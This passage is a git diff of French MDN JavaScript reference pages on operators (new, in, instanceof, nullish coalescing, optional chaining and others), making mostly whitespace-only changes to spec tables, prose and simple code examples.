{{Spec2('ESDraft')}} | | ## Voir aussi diff --git a/files/fr/web/javascript/reference/operators/assignment/index.md b/files/fr/web/javascript/reference/operators/assignment/index.md index b793a0aafb..8cf99afbfe 100644 --- a/files/fr/web/javascript/reference/operators/assignment/index.md +++ b/files/fr/web/javascript/reference/operators/assignment/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Opérateurs/Assignement --- {{jsSidebar("Operators")}} -L'opérateur d'assignement simple (`=`) est utilisé pour définir la valeur d'une variable. Il est possible d'ajouter une valeur à plusieurs variables en chaînant les variables. +L'opérateur d'assignement simple (`=`) est utilisé pour définir la valeur d'une variable. Il est possible d'ajouter une valeur à plusieurs variables en chaînant les variables. {{EmbedInteractiveExample("pages/js/expressions-assignment.html")}} diff --git a/files/fr/web/javascript/reference/operators/async_function/index.md b/files/fr/web/javascript/reference/operators/async_function/index.md index 38334b17ee..cf1ed3b31a 100644 --- a/files/fr/web/javascript/reference/operators/async_function/index.md +++ b/files/fr/web/javascript/reference/operators/async_function/index.md @@ -72,8 +72,8 @@ add(10).then(v => { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | -| {{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}} | {{Spec2('ESDraft')}} | | -| {{SpecName('ES2018', '#sec-async-function-definitions', 'async function')}} | {{Spec2('ES2018')}} | | +| {{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES2018', '#sec-async-function-definitions', 'async function')}} | {{Spec2('ES2018')}} | | | {{SpecName('ES2017', '#sec-async-function-definitions', 'async function')}} | {{Spec2('ES2017')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/operators/class/index.md b/files/fr/web/javascript/reference/operators/class/index.md index bb3c259708..6831186b85 100644 --- a/files/fr/web/javascript/reference/operators/class/index.md +++ b/files/fr/web/javascript/reference/operators/class/index.md @@ -70,9 +70,9 @@ Toto.name; // "TotoNommé" | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | ------------------- | | {{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}} | {{Spec2('ES2015')}} | Définition initiale | -| {{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}} | {{Spec2('ES2016')}} | | -| {{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}} | {{Spec2('ES2017')}} | | -| {{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}} | {{Spec2('ES2016')}} | | +| {{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}} | {{Spec2('ES2017')}} | | +| {{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/operators/comma_operator/index.md b/files/fr/web/javascript/reference/operators/comma_operator/index.md index e227672b69..7308d2810c 100644 --- a/files/fr/web/javascript/reference/operators/comma_operator/index.md +++ b/files/fr/web/javascript/reference/operators/comma_operator/index.md @@ -71,9 +71,9 @@ function maFonction () { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | ------------------- | -| {{SpecName('ESDraft', '#sec-comma-operator', 'Comma operator')}} | {{Spec2('ESDraft')}} | | -| {{SpecName('ES6', '#sec-comma-operator', 'Comma operator')}} | {{Spec2('ES6')}} | | -| {{SpecName('ES5.1', '#sec-11.14', 'Comma operator')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ESDraft', '#sec-comma-operator', 'Comma operator')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-comma-operator', 'Comma operator')}} | {{Spec2('ES6')}} | | +| {{SpecName('ES5.1', '#sec-11.14', 'Comma operator')}} | {{Spec2('ES5.1')}} | | | {{SpecName('ES1', '#sec-11.14', 'Comma operator')}} | {{Spec2('ES1')}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/operators/conditional_operator/index.md b/files/fr/web/javascript/reference/operators/conditional_operator/index.md index d48dfca9fd..5546463ede 100644 --- a/files/fr/web/javascript/reference/operators/conditional_operator/index.md +++ b/files/fr/web/javascript/reference/operators/conditional_operator/index.md @@ -9,7 +9,7 @@ original_slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_conditionnel --- {{jsSidebar("Operators")}} -L'**opérateur (ternaire) conditionnel** est le seul opérateur JavaScript qui comporte trois opérandes. Cet opérateur est fréquemment utilisé comme raccourci pour la déclaration de {{jsxref("Instructions/if...else")}}. +L'**opérateur (ternaire) conditionnel** est le seul opérateur JavaScript qui comporte trois opérandes. Cet opérateur est fréquemment utilisé comme raccourci pour la déclaration de {{jsxref("Instructions/if...else")}}. {{EmbedInteractiveExample("pages/js/expressions-conditionaloperators.html")}} @@ -28,7 +28,7 @@ L'**opérateur (ternaire) conditionnel** est le seul opérateur JavaScript qui c ## Description -SI `condition` vaut `true`, l'opérateur renverra la valeur d'`exprSiVrai;` dans le cas contraire, il renverra la valeur de `exprSiFaux`. Par exemple, on peut afficher un message différent en fonction d'une variable `estMembre` avec cette déclaration : +SI `condition` vaut `true`, l'opérateur renverra la valeur d'`exprSiVrai;` dans le cas contraire, il renverra la valeur de `exprSiFaux`. Par exemple, on peut afficher un message différent en fonction d'une variable `estMembre` avec cette déclaration : ```js "Le prix est : " + (estMembre ? "15 €" : "30 €") diff --git a/files/fr/web/javascript/reference/operators/function/index.md b/files/fr/web/javascript/reference/operators/function/index.md index 34213fa6f1..198e0ea95d 100644 --- a/files/fr/web/javascript/reference/operators/function/index.md +++ b/files/fr/web/javascript/reference/operators/function/index.md @@ -107,9 +107,9 @@ var b = "monde"; | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | -| {{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}} | {{Spec2('ESDraft')}} | | -| {{SpecName('ES6', '#sec-function-definitions', 'Définitions de fonction')}} | {{Spec2('ES6')}} | | -| {{SpecName('ES5.1', '#sec-13', 'Définitions de fonction')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-function-definitions', 'Définitions de fonction')}} | {{Spec2('ES6')}} | | +| {{SpecName('ES5.1', '#sec-13', 'Définitions de fonction')}} | {{Spec2('ES5.1')}} | | | {{SpecName('ES3', '#sec-13', 'Définitions de fonction')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.5. | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/operators/function_star_/index.md b/files/fr/web/javascript/reference/operators/function_star_/index.md index 2585ad0c1b..49cb949b65 100644 --- a/files/fr/web/javascript/reference/operators/function_star_/index.md +++ b/files/fr/web/javascript/reference/operators/function_star_/index.md @@ -51,7 +51,7 @@ var x = function*(y) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-generator-function-definitions', 'function*')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-generator-function-definitions', 'function*')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-generator-function-definitions', 'function*')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/operators/grouping/index.md b/files/fr/web/javascript/reference/operators/grouping/index.md index 9dc960ef06..472712355a 100644 --- a/files/fr/web/javascript/reference/operators/grouping/index.md +++ b/files/fr/web/javascript/reference/operators/grouping/index.md @@ -48,9 +48,9 @@ a * c + b * c // 9 | Spécification | Statut | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | -| {{SpecName('ESDraft', '#sec-grouping-operator', 'The Grouping Operator')}} | {{Spec2('ESDraft')}} | | -| {{SpecName('ES6', '#sec-grouping-operator', 'L\'opérateur de groupement')}} | {{Spec2('ES6')}} | | -| {{SpecName('ES5.1', '#sec-11.1.6', 'L\'opérateur de groupement')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ESDraft', '#sec-grouping-operator', 'The Grouping Operator')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-grouping-operator', 'L\'opérateur de groupement')}} | {{Spec2('ES6')}} | | +| {{SpecName('ES5.1', '#sec-11.1.6', 'L\'opérateur de groupement')}} | {{Spec2('ES5.1')}} | | | {{SpecName('ES1', '#sec-11.1.4','L\'opérateur de groupement')}} | {{Spec2('ES1')}} | Définition initiale, implémentée avec JavaScript 1.0. | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/operators/in/index.md b/files/fr/web/javascript/reference/operators/in/index.md index cb4f40c8e2..75a0dd1f88 100644 --- a/files/fr/web/javascript/reference/operators/in/index.md +++ b/files/fr/web/javascript/reference/operators/in/index.md @@ -10,7 +10,7 @@ original_slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_in --- {{jsSidebar("Operators")}} -L'**opérateur `in`** renvoie `true` si une propriété donnée appartient à l'objet donné (directement ou via sa chaîne de prototype). +L'**opérateur `in`** renvoie `true` si une propriété donnée appartient à l'objet donné (directement ou via sa chaîne de prototype). {{EmbedInteractiveExample("pages/js/expressions-inoperator.html")}} @@ -45,14 +45,14 @@ var ma_chaine = new String("corail"); "length" in ma_chaine // renvoie true // Objets personnalisés -var voiture = {marque : "Honda", modèle : "Accord", année : 1998}; +var voiture = {marque : "Honda", modèle : "Accord", année : 1998}; "marque" in voiture // renvoie true "modèle" in voiture // renvoie true "marque" in voiture // renvoie true "Accord" in voiture // renvoie false ``` -L'opérande droit doit toujours être du type objet (et pas un autre type primitif). Par exemple, on peut utiliser une chaîne créée avec le constructeur `String`, mais pas une chaîne littérale. +L'opérande droit doit toujours être du type objet (et pas un autre type primitif). Par exemple, on peut utiliser une chaîne créée avec le constructeur `String`, mais pas une chaîne littérale. ```js var couleur1 = new String("vert"); @@ -66,7 +66,7 @@ var couleur2 = "corail"; Si une propriété est supprimée avec l'opérateur [`delete`](fr/R%c3%a9f%c3%a9rence_de_JavaScript_1.5_Core/Op%c3%a9rateurs/Op%c3%a9rateurs_sp%c3%a9ciaux/L'op%c3%a9rateur_delete), l'opérateur `in` renvoie `false` pour cette propriété. ```js -var voiture = {marque : "Honda", modèle : "Accord", année : 1998}; +var voiture = {marque : "Honda", modèle : "Accord", année : 1998}; delete voiture.marque; "marque" in voiture // renvoie false @@ -78,7 +78,7 @@ delete arbres[3]; Si une propriété est définie à {{jsxref("Objets_globaux/undefined", "undefined")}} mais n'est pas supprimée, l'opérateur `in` renverra `true` pour cette propriété. ```js -var voiture = {marque : "Honda", modèle : "Accord", année : 1998}; +var voiture = {marque : "Honda", modèle : "Accord", année : 1998}; voiture.marque = undefined; "marque" in voiture // renvoie true diff --git a/files/fr/web/javascript/reference/operators/instanceof/index.md b/files/fr/web/javascript/reference/operators/instanceof/index.md index 9140ba2031..8cbdbe07ae 100644 --- a/files/fr/web/javascript/reference/operators/instanceof/index.md +++ b/files/fr/web/javascript/reference/operators/instanceof/index.md @@ -80,26 +80,26 @@ Cependant, les objets créés à partir de littéraux objets sont une exception ```js var chaîneSimple = "Une chaîne simple"; -var maChaîne = new String(); +var maChaîne = new String(); var newChaîne = new String("Chaîne créée avec un constructeur"); -var maDate = new Date(); -var monObjet = {}; +var maDate = new Date(); +var monObjet = {}; var monNonObjet = Object.create(null); chaîneSimple instanceof String; //false car le prototype vaut undefined -maChaîne instanceof String; // true +maChaîne instanceof String; // true newChaîne instanceof String; // true -maChaîne instanceof Object; // true +maChaîne instanceof Object; // true monObjet instanceof Object; // true, bien que le protoype soit undefined -({}) instanceof Object; // true, comme pour le cas précédent +({}) instanceof Object; // true, comme pour le cas précédent monNonObjet instance Object; // false -maChaîne instanceof Date; // false +maChaîne instanceof Date; // false -maDate instanceof Date; // true -maDate instanceof Object; // true -maDate instanceof String; // false +maDate instanceof Date; // true +maDate instanceof Object; // true +maDate instanceof String; // false ``` ### Démonstration que `mavoiture` est de type `Voiture` et de type `Object` diff --git a/files/fr/web/javascript/reference/operators/new.target/index.md b/files/fr/web/javascript/reference/operators/new.target/index.md index cec1e15f69..2c69716ec5 100644 --- a/files/fr/web/javascript/reference/operators/new.target/index.md +++ b/files/fr/web/javascript/reference/operators/new.target/index.md @@ -10,7 +10,7 @@ original_slug: Web/JavaScript/Reference/Opérateurs/new.target --- {{JSSidebar("Operators")}} -La syntaxe **`new.target`** est disponible dans toutes les fonctions et permet entre autres de tester si une fonction ou un constructeur a été appelé avec `new`. Dans les constructeurs, il fait référence au constructeur invoqué par [`new`](/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_new). Dans les appels de fonction « normaux », `new.target` vaut {{jsxref("undefined")}}. +La syntaxe **`new.target`** est disponible dans toutes les fonctions et permet entre autres de tester si une fonction ou un constructeur a été appelé avec `new`. Dans les constructeurs, il fait référence au constructeur invoqué par [`new`](/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_new). Dans les appels de fonction « normaux », `new.target` vaut {{jsxref("undefined")}}. {{EmbedInteractiveExample("pages/js/expressions-newtarget.html")}} @@ -77,7 +77,7 @@ var d = new D(); // function D() | Spécification | État | Commentaire | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-built-in-function-objects', 'Built-in Function Objects')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-built-in-function-objects', 'Built-in Function Objects')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-built-in-function-objects', 'Built-in Function Objects')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/operators/new/index.md b/files/fr/web/javascript/reference/operators/new/index.md index 7a0424c8fa..ec9e35412d 100644 --- a/files/fr/web/javascript/reference/operators/new/index.md +++ b/files/fr/web/javascript/reference/operators/new/index.md @@ -34,7 +34,7 @@ Le mot-clé `new`, utilisé avec une fonction, applique les 4 étapes suivantes ## Description -La création d'un objet personnalisé se fait en deux étapes : +La création d'un objet personnalisé se fait en deux étapes : 1. Définition du type d'objet en écrivant une fonction. 2. Création d'une instance de l'objet avec `new`. @@ -74,9 +74,9 @@ console.log(voiture2.couleur); // couleur standard ## Exemples -### Exemple : type d'objet et instance d'objet +### Exemple : type d'objet et instance d'objet -Supposons que vous vouliez créer un type d'objet pour les voitures. Vous voulez que ce type d'objet s'appelle `Voiture`, et qu'il ait des propriétés pour la marque, le modèle et l'année. Pour ce faire, vous écririez la fonction suivante : +Supposons que vous vouliez créer un type d'objet pour les voitures. Vous voulez que ce type d'objet s'appelle `Voiture`, et qu'il ait des propriétés pour la marque, le modèle et l'année. Pour ce faire, vous écririez la fonction suivante : ```js function Voiture(marque, modèle, année) { @@ -86,7 +86,7 @@ function Voiture(marque, modèle, année) { } ``` -À présent, vous pouvez créer un objet appelé `ma_voiture` de la manière suivante : +À présent, vous pouvez créer un objet appelé `ma_voiture` de la manière suivante : ```js ma_voiture = new Voiture("Volkswagen", "Golf TDi", 1997); @@ -94,15 +94,15 @@ ma_voiture = new Voiture("Volkswagen", "Golf TDi", 1997); Cette instruction crée l'objet `ma_voiture` et assigne les valeurs spécifiées à ses propriétés. La valeur de `ma_voiture.marque` est alors la chaîne `"Volkswagen"`, celle de `ma_voiture.année` est l'entier 1997, et ainsi de suite. -Il est possible de créer un nombre illimité d'objets `Voiture` en appelant `new`. Par exemple : +Il est possible de créer un nombre illimité d'objets `Voiture` en appelant `new`. Par exemple : ```js voiture_de_ken = new Voiture("Nissan", "300ZX", 1992); ``` -### Exemple : propriété d'objet qui est elle-même un autre objet +### Exemple : propriété d'objet qui est elle-même un autre objet -Supposons que vous ayez défini un objet appelé `Personne` de la manière suivante : +Supposons que vous ayez défini un objet appelé `Personne` de la manière suivante : ```js function Personne(nom, age, surnom) { @@ -112,14 +112,14 @@ function Personne(nom, age, surnom) { } ``` -Et que vous avez ensuite instancié deux nouveaux objets `Personne` de la manière suivante : +Et que vous avez ensuite instancié deux nouveaux objets `Personne` de la manière suivante : ```js rand = new Personne("Rand McNally", 33, "Randy"); ken = new Personne("Ken Jones", 39, "Kenny"); ``` -Vous pouvez alors réécrire la définition de `Voiture` pour contenir une propriété `propriétaire` qui reçoit un objet `Personne`, comme ceci : +Vous pouvez alors réécrire la définition de `Voiture` pour contenir une propriété `propriétaire` qui reçoit un objet `Personne`, comme ceci : ```js function Voiture(marque, modèle, année, propriétaire) { @@ -130,14 +130,14 @@ function Voiture(marque, modèle, année, propriétaire) { } ``` -Pour instancier les nouveaux objets, vous utiliserez ensuite : +Pour instancier les nouveaux objets, vous utiliserez ensuite : ```js voiture1 = new Voiture("Volkswagen", "Golf TDi", 1997, rand); voiture2 = new Voiture("Nissan", "300ZX", 1992, ken); ``` -Plutôt que de passer une chaîne littérale ou une valeur entière lors de la création des nouveaux objets, les instructions ci-dessus utilisent les objets `rand` et `ken` comme paramètres pour les propriétaires. Pour connaître le nom du propriétaire de `voiture2`, on peut alors accéder à la propriété suivante : +Plutôt que de passer une chaîne littérale ou une valeur entière lors de la création des nouveaux objets, les instructions ci-dessus utilisent les objets `rand` et `ken` comme paramètres pour les propriétaires. Pour connaître le nom du propriétaire de `voiture2`, on peut alors accéder à la propriété suivante : ```js voiture2.propriétaire.nom @@ -147,10 +147,10 @@ voiture2.propriétaire.nom | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | -| {{SpecName('ESDraft', '#sec-new-operator', 'Opérateur new')}} | {{Spec2('ESDraft')}} | | -| {{SpecName('ES6', '#sec-new-operator', 'Opérateur new')}} | {{Spec2('ES6')}} | | -| {{SpecName('ES5.1', '#sec-11.2.2', 'Opérateur new')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES3', '#sec-11.2.2', 'Opérateur new')}} | {{Spec2('ES3')}} | | +| {{SpecName('ESDraft', '#sec-new-operator', 'Opérateur new')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-new-operator', 'Opérateur new')}} | {{Spec2('ES6')}} | | +| {{SpecName('ES5.1', '#sec-11.2.2', 'Opérateur new')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES3', '#sec-11.2.2', 'Opérateur new')}} | {{Spec2('ES3')}} | | | {{SpecName('ES1', '#sec-11.2.2', 'Opérateur new')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/operators/nullish_coalescing_operator/index.md b/files/fr/web/javascript/reference/operators/nullish_coalescing_operator/index.md index d9b1e5e3b4..475647ced4 100644 --- a/files/fr/web/javascript/reference/operators/nullish_coalescing_operator/index.md +++ b/files/fr/web/javascript/reference/operators/nullish_coalescing_operator/index.md @@ -13,9 +13,9 @@ original_slug: Web/JavaScript/Reference/Opérateurs/Nullish_coalescing_operator --- {{JSSidebar("Operators")}} -L'**opérateur de coalescence des nuls** (`??`), est un opérateur logique qui renvoie son opérande de droite lorsque son opérande de gauche vaut `{{jsxref("null")}}` ou `{{jsxref("undefined")}}` et qui renvoie son opérande de gauche sinon. +L'**opérateur de coalescence des nuls** (`??`), est un opérateur logique qui renvoie son opérande de droite lorsque son opérande de gauche vaut `{{jsxref("null")}}` ou `{{jsxref("undefined")}}` et qui renvoie son opérande de gauche sinon. -Contrairement à [l'opérateur logique OU (`||`)](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_logiques), l'opérande de gauche sera renvoyé s'il s'agit d'une [valeur équivalente à `false`](/fr/docs/Glossaire/Falsy) **qui n'est ni** `null`**, ni** `undefined`. En d'autres termes, si vous utilisez `||` pour fournir une valeur par défaut à une variable `foo`, vous pourriez rencontrer des comportements inattendus si vous considérez certaines valeurs _falsy_ comme utilisables (par exemple une chaine vide `''` ou `0`). Voir ci-dessous pour plus d'exemples. +Contrairement à [l'opérateur logique OU (`||`)](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_logiques), l'opérande de gauche sera renvoyé s'il s'agit d'une [valeur équivalente à `false`](/fr/docs/Glossaire/Falsy) **qui n'est ni** `null`**, ni** `undefined`. En d'autres termes, si vous utilisez `||` pour fournir une valeur par défaut à une variable `foo`, vous pourriez rencontrer des comportements inattendus si vous considérez certaines valeurs _falsy_ comme utilisables (par exemple une chaine vide `''` ou `0`). Voir ci-dessous pour plus d'exemples. {{EmbedInteractiveExample("pages/js/expressions-nullishcoalescingoperator.html")}} @@ -27,7 +27,7 @@ Contrairement à [l'opérateur logique OU (`||`)](/fr/docs/Web/JavaScript/Refere ### Utilisation de l'opérateur de coalescence des nuls -Dans cet exemple, nous fournirons des valeurs par défaut mais conserverons des valeurs autres que `null` ou `undefined`. +Dans cet exemple, nous fournirons des valeurs par défaut mais conserverons des valeurs autres que `null` ou `undefined`. ```js const valeurNulle = null; @@ -54,7 +54,7 @@ let toto; let unTexteBateau = toto || 'Coucou !'; ``` -Cependant, parce que `||` est un opérateur logique booléen, l'opérande de gauche a été converti en un booléen pour l'évaluation et aucune valeur _falsy_ (`0`, `''`, `NaN`, `null`, `undefined`) n'a été renvoyée. Ce comportement peut entraîner des conséquences inattendues si on souhaite considérer `0`, `''` ou `NaN` comme des valeurs valides. +Cependant, parce que `||` est un opérateur logique booléen, l'opérande de gauche a été converti en un booléen pour l'évaluation et aucune valeur _falsy_ (`0`, `''`, `NaN`, `null`, `undefined`) n'a été renvoyée. Ce comportement peut entraîner des conséquences inattendues si on souhaite considérer `0`, `''` ou `NaN` comme des valeurs valides. ```js let compteur = 0; @@ -66,7 +66,7 @@ console.log(qté); // 42 et non 0 console.log(message); // "Coucou !" et non "" ``` -L'opérateur de coalescence des nuls évite ce risque en ne renvoyant le deuxième opérande que lorsque le premier vaut `null` ou `undefined` (mais pas d'autres valeurs _falsy_) : +L'opérateur de coalescence des nuls évite ce risque en ne renvoyant le deuxième opérande que lorsque le premier vaut `null` ou `undefined` (mais pas d'autres valeurs _falsy_) : ```js let monTexte = ''; // Un chaine vide (qui est donc une valeur falsy) @@ -80,7 +80,7 @@ console.log(preservingFalsy); // '' (car monTexte n'est ni null ni undefined) ### Court-circuitage -À l'instar des opérateurs logiques OR (`||`) et AND (`&&`), l'expression de droite n'est pas évaluée si celle de gauche ne vaut ni `null` ni `undefined`. +À l'instar des opérateurs logiques OR (`||`) et AND (`&&`), l'expression de droite n'est pas évaluée si celle de gauche ne vaut ni `null` ni `undefined`. ```js function A() { console.log('A a été appelée'); return undefined; } @@ -99,7 +99,7 @@ console.log( B() ?? C() ); ### Pas de chaînage possible avec les opérateurs AND ou OR -Il n'est pas possible de combiner les opérateurs AND (`&&`) ou OR (`||`) directement avec l'opérateur de coalescence des nuls (`??`). Un tel cas lèverait une exception [`SyntaxError`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/SyntaxError). +Il n'est pas possible de combiner les opérateurs AND (`&&`) ou OR (`||`) directement avec l'opérateur de coalescence des nuls (`??`). Un tel cas lèverait une exception [`SyntaxError`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/SyntaxError). ```js example-bad null || undefined ?? "toto"; // soulève une SyntaxError @@ -114,7 +114,7 @@ Cependant, fournir des parenthèses pour indiquer explicitement la priorité est ### Relation avec l'opérateur de chaînage optionnel (`?.`) -Tout comme l'opérateur de coalescence des nuls, l'[opérateur de chaînage optionnel (?.)](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Optional_chaining) traite les valeurs `null` et `undefined` comme des valeurs spécifiques. Ce qui permet d'accéder à une propriété d'un objet qui peut être `null` ou `undefined`. +Tout comme l'opérateur de coalescence des nuls, l'[opérateur de chaînage optionnel (?.)](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Optional_chaining) traite les valeurs `null` et `undefined` comme des valeurs spécifiques. Ce qui permet d'accéder à une propriété d'un objet qui peut être `null` ou `undefined`. ```js let toto = { uneProprieteToto: "coucou" }; @@ -137,5 +137,5 @@ console.log(toto.uneProprieteTiti?.toUpperCase()); // undefined - [_Falsy values_ (Valeurs équivalentes à `false` dans un contexte booléen)](/fr/docs/Glossaire/Falsy) - [Opérateur de chaînage optionnel (_optional chaining_)](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Optional_chaining) -- [Opérateur logique OU (`||`)](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_logiques#Logical_OR) +- [Opérateur logique OU (`||`)](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_logiques#Logical_OR) - [Valeurs par défaut des arguments](/fr/docs/Web/JavaScript/Reference/Fonctions/Valeurs_par_d%C3%A9faut_des_arguments) diff --git a/files/fr/web/javascript/reference/operators/object_initializer/index.md b/files/fr/web/javascript/reference/operators/object_initializer/index.md index 3c8d5deb28..a42a00729f 100644 --- a/files/fr/web/javascript/reference/operators/object_initializer/index.md +++ b/files/fr/web/javascript/reference/operators/object_initializer/index.md @@ -287,7 +287,7 @@ La notation utilisant un littéral objet n'est pas identique à celle utilisée | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. | | {{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}} | {{Spec2('ES5.1')}} | [Ajout des _getter_ et](/fr/docs/Web/JavaScript/Reference/Functions/get) _[setter](/fr/docs/Web/JavaScript/Reference/Functions/set)_ (accesseur/mutateur). | | {{SpecName('ES2015', '#sec-object-initializer', 'Object Initializer')}} | {{Spec2('ES2015')}} | Ajout des raccourcis pour les noms de méthodes et propriétés et des noms de propriétés calculés. | -| {{SpecName('ESDraft', '#sec-object-initializer', 'Object Initializer')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-object-initializer', 'Object Initializer')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/operators/optional_chaining/index.md b/files/fr/web/javascript/reference/operators/optional_chaining/index.md index 5a6d39da9b..7c0609b543 100644 --- a/files/fr/web/javascript/reference/operators/optional_chaining/index.md +++ b/files/fr/web/javascript/reference/operators/optional_chaining/index.md @@ -41,7 +41,7 @@ let nestedProp = obj.premier && obj.premier.second; La valeur de `obj.premier` est confirmée comme n'étant pas `null` (ni `undefined`) avant que d'accéder à la valeur de `obj.premier.second`. Ceci prévient l'erreur qui pourrait survenir si vous accédiez simplement `obj.premier.second` directement sans vérifier `obj.premier`. -Avec l'opérateur de chaînage optionnel (`?.`), vous n'avez pas besoin de vérifier explicitement et de court-circuiter la vérification selon l'état de `obj.premier` avant que d'accéder à `obj.premier.second` : +Avec l'opérateur de chaînage optionnel (`?.`), vous n'avez pas besoin de vérifier explicitement et de court-circuiter la vérification selon l'état de `obj.premier` avant que d'accéder à `obj.premier.second` : ```js let nestedProp = obj.premier?.second; @@ -111,7 +111,7 @@ let nestedProp = obj?.['propName']; let objet = {}; objet?.propriété = 1; // Uncaught SyntaxError: Invalid left-hand side in assignment -### Accès aux éléments de tableau avec le chaînage optionnel +### Accès aux éléments de tableau avec le chaînage optionnel let élément = arr?.[42]; @@ -159,7 +159,7 @@ let villeDuClient = client.details?.adresse?.ville; let durée = vacations.trip?.getTime?.(); ``` -### Combinaison avec l'opérateur de coalescence des nuls (Nullish coalescing operator) +### Combinaison avec l'opérateur de coalescence des nuls (Nullish coalescing operator) L'{{JSxRef("Opérateurs/Nullish_coalescing_operator", "Opérateur de coalescence des nuls (Nullish coalescing operator)", '', 1)}} peut être utilisé après un chaînage optionnel afin de construire une valeur par défaut quand aucune n'a été trouvée : diff --git a/files/fr/web/javascript/reference/operators/property_accessors/index.md b/files/fr/web/javascript/reference/operators/property_accessors/index.md index c71814b931..af68164c0e 100644 --- a/files/fr/web/javascript/reference/operators/property_accessors/index.md +++ b/files/fr/web/javascript/reference/operators/property_accessors/index.md @@ -32,7 +32,7 @@ obtenir = objet.propriété; objet.propriété = définir; ``` -`propriété` doit être un identifiant JavaScript valide, c'est-à-dire une séquence de caractères alphanumériques, soulignés (« `_` ») et signes dollar (« `$` »), qui ne peut commencer par un nombre. Par exemple, `objet.$1` est valide, mais `objet.1` ne l'est pas. +`propriété` doit être un identifiant JavaScript valide, c'est-à-dire une séquence de caractères alphanumériques, soulignés (« `_` ») et signes dollar (« `$` »), qui ne peut commencer par un nombre. Par exemple, `objet.$1` est valide, mais `objet.1` ne l'est pas. ```js document.createElement('pre'); @@ -61,7 +61,7 @@ obtenir = objet[nom_de_propriété]; objet[nom_de_propriété] = définir; ``` -`nom_de_propriété` est une chaîne de caractères ou un {{jsxref("Symbol","symbole","","")}}. Elle n'a pas besoin d'être un identifiant valide ; elle peut avoir n'importe quelle valeur, par exemple `"1foo"`, `"!bar!"` ou même `" "` (une espace). +`nom_de_propriété` est une chaîne de caractères ou un {{jsxref("Symbol","symbole","","")}}. Elle n'a pas besoin d'être un identifiant valide ; elle peut avoir n'importe quelle valeur, par exemple `"1foo"`, `"!bar!"` ou même `" "` (une espace). #### Exemple @@ -83,19 +83,19 @@ objet['1'] = 'valeur'; console.log(objet[1]); ``` -Ceci affichera « valeur », étant donné que le nombre `1` sera converti en une chaîne `"1"`. +Ceci affichera « valeur », étant donné que le nombre `1` sera converti en une chaîne `"1"`. ```js -var toto = {propriété_unique : 1}, truc = {propriété_unique : 2}, objet = {}; +var toto = 